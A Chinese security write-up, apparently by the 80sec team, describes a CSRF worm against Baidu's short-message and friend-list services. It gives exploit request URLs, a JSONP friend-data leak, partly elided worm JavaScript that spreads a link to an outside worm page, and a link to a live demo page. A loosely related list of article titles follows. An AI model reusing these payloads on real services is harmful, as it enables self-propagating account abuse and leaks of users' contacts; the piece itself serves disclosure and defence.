漏洞起因:百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区。 80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的修补,但是百度的产品仍然存在很多严重的安全漏洞,利用这些漏洞黑客可以制作Web 蠕虫,影响百度所有的用户。

CSRF worm技术分析:

一. 百度用户中心短消息功能存在CSRF漏洞

百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联,用户可以给指定百度ID用户发送短消息,在百度空间用互为好友的情况下,发送短消息将没有任 何限制,同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参,给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消 息功能的请求参数能够被完全预测,只需要指定sn参数为发送消息的用户,co参数为消息内容,就可以成功发送短消息,如下:

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中,至今尚未修补。

二. 百度空间好友json数据泄露问题

百度空间的好友功能数据是使用json格式实现的,此接口没有做任何的安全限制,只需将un参数设定为任意用户账号,就可以获得指定用户的百度好友数据,如下

http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends

该漏洞可以直接被Javascript劫持技术利用,获取用户的好友信息.

三. 百度认证问题

web攻击不可避免地依赖于系统的认证,而在百度的认证系统里,所有认证基于SESSION,这样在IE里就不会被IE的隐私策略阻止,会话认证信息每次都会被发送出去,为我们蠕虫的传播提供了必要的条件。

四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm

CSRF攻击结合Javascript劫持技术完全可以实现CSRF worm,百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件,80Sec团队已经编写出一只完整的百度csrf蠕虫,这是一只完全由客户端脚本 实现的CSRF蠕虫,这只蠕虫实际上只有一条链接,受害者点击这条链接后,将会自动把这条链接通过短消息功能传给受害者所有的好友,因为百度用户基数很 大,所以蠕虫的传播速度将会呈几何级成长,下面对csrf蠕虫部分代码进行分析:

1. 模拟服务端取得request的参数

var lsURL=window.location.href;
loU = lsURL.split(“?”);
if (loU.length>1)
{
var loallPm = loU[1].split(“&”);

省略…………….

定义蠕虫页面服务器地址,取得?和&符号后的字符串,从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。

2. 好友json数据的动态获取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(‘<script src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″></script>’);

通过CSRF漏洞从远程加载受害者的好友json数据,根据该接口的json数据格式,提取好友数据为蠕虫的传播流程做准备。

3. 感染信息输出和消息发送的核心部分

evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(‘x’+i+’=new Image();x’+i+’.src=unescape(“‘+mysendmsg+’”);’);
省略…………….

整个蠕虫最核心的部分,按照蠕虫感染的逻辑,将感染者用户名和需要传播的好友用户名放到蠕虫链接内,最后输出短消息内容,使用一个FOR循环结构历遍所有好友数据,通过图片文件请求向所有的好友发送感染链接信息。

4. 注意细节

由于需要动态加载json数据运行,所以必须注意各个函数执行的先后顺序,否则json数据还未加载完毕,蠕虫核心部分的流程将跑不起来。

5. CSRF Worm DEMO页

这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试,非安全测试的其他行为,80SEC将不负任何责任。测试方法:

将to参数设置为自己的用户名,登陆百度后点击链接或直接进入页面

http://www.80sec.com/wish.php?to=自己的百度用户名

五 CSRF worm安全提醒:

除开百度,国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题,黑客可以直接通过CSRF攻击配合各种功能应用 针对网站进行CSRF worm攻击,网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。

百度Hi之CSRF蠕虫攻击相关推荐

  1. 百度Hi Csrf蠕虫***

    漏洞起因:百度是国内最大的中文搜索引擎.同时百度也提供了百度空间.百度贴吧等BLOG社区服务,拥有海量的用户群,号称全球最大中文社区.80sec发现过百度产品一系列的安全漏洞,其中一些问题得到了有效的 ...

  2. CSRF的攻击与防御

    CSRF是Web应用程序的一种常见漏洞,其攻击特性是危害性大但非常隐蔽,尤其是在大量Web 2.0技术的应用背景下,攻击者完全可以在用户毫无察觉的情况下发起CSRF攻击.本文将对其基本特性.攻击原理. ...

  3. 跨站请求伪造(CSRF)+ 跨站脚本攻击(XSS)

    一.CSRF 跨站请求伪造(英语:Cross-site request forgery),也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 X ...

  4. .NET Core实战项目之CMS 第十四章 开发篇-防止跨站请求伪造(XSRF/CSRF)攻击处理...

    通过 ASP.NET Core,开发者可轻松配置和管理其应用的安全性. ASP.NET Core 中包含管理身份验证.授权.数据保护.SSL 强制.应用机密.请求防伪保护及 CORS 管理等等安全方面 ...

  5. CSRF的攻击与防御原理

    CSRF(Cross Site Request Forgery)跨站域请求伪造,是一种网络的攻击方式,它在2007年曾被列为互联网20大安全隐患之一,也被称为"One Click Attac ...

  6. 百度贴吧csrf让全吧吧友在自己都不知情的情况下帮你投诉指定贴吧吧主的bug

    下面教程开始,比如说我想投诉某吧的某吧主,先填好投诉表单如图 此时此刻按f12,定位到network,按底下那个clear按钮,然后抓到数据包 这是数据包 找到form data这里,然后点view ...

  7. ASP.NET Core 防止跨站请求伪造(XSRF\/CSRF)攻击

    什么是反伪造攻击? 跨站点请求伪造(也称为XSRF或CSRF,发音为see-surf)是对Web托管应用程序的攻击,因为恶意网站可能会影响客户端浏览器和浏览器信任网站之间的交互.这种攻击是完全有可能的 ...

  8. CSRF, XSS攻击

    CSRF攻击: CSRF(Cross-site request forgery)跨站请求伪造,也被称为"One Click Attack"或者Session Riding,通常缩写 ...

  9. 吃透浏览器安全(同源限制/XSS/CSRF/中间人攻击)

    前言 随着互联网的高速发展,信息安全问题已经成为企业最为关注的焦点之一,而前端又是引发企业安全问题的高危据点.在移动互联网时代,特别是前端人员除了传统的 XSS.CSRF 等安全问题之外,又时常遭遇网 ...

最新文章

  1. setInterval
  2. echarts做企业关系图谱_建立良好客户关系 做有温度的企业
  3. C#(SuperWebSocket)与websocket通信
  4. 无软驱免F6在联想R510-G6-1U服务器上安装win 2003企业版的经历
  5. hive sql 正则表达式
  6. Python代码混淆工具,Python源代码保密、加密、混淆
  7. 聊聊另外一个Druid(很全)
  8. 计算机考研可以考到部队吗,部队文职好考么?备考压力远比考研小!
  9. 美军军事通信系统简史
  10. 窗帘盒有哪些种类,怎样安装窗帘盒?
  11. POI 写word,添加标题,表格,图片,自动生成目录,合并单元格
  12. 图像配准融合(一)——基于互信息的图像配准方法(c++)
  13. Docker进阶(3)docker容器编排-docker compose、swarm、service
  14. 《吴军阅读与写作讲义》笔记
  15. 利用计算机绘出圆柱面,独家稿件:利用AutoCAD绘制圆柱面相贯线展开曲线研究原稿...
  16. 阿里云网站备案是什么?
  17. 在EXCEL中使用VLOOKUP函数 快速批量查找对应内容
  18. js将数据存储到mysql_使用java读取js文件,将数据写入数据库
  19. MATLAB mex文件
  20. [TVM PR 开发随笔] quantized::leakyrelu

热门文章

  1. 南邮计算机控制系统性能分析实验报告,南京邮电大学计算机组成原理考前复习...
  2. java 嵌套排序_java – Spring数据:按嵌套属性排序
  3. 爬虫第二式:猫眼电影前100排行榜
  4. 双击背面截图_生活百科知识科普:ios14怎么双击背面截屏 怎么双击背部截图
  5. 再穷也要出去旅行,再累也要有自己的生活
  6. c语言生日创意代码_跪求一个C语言程序输出“生日快乐”(TC)
  7. 让你的应用使用周期更长
  8. 一个玩游戏的失足青年,转行做编程到教育的挣扎过程(3/4)
  9. 报告分享|6G概念及愿景白皮书(附下载)
  10. 帮我写一篇狂飙的观后感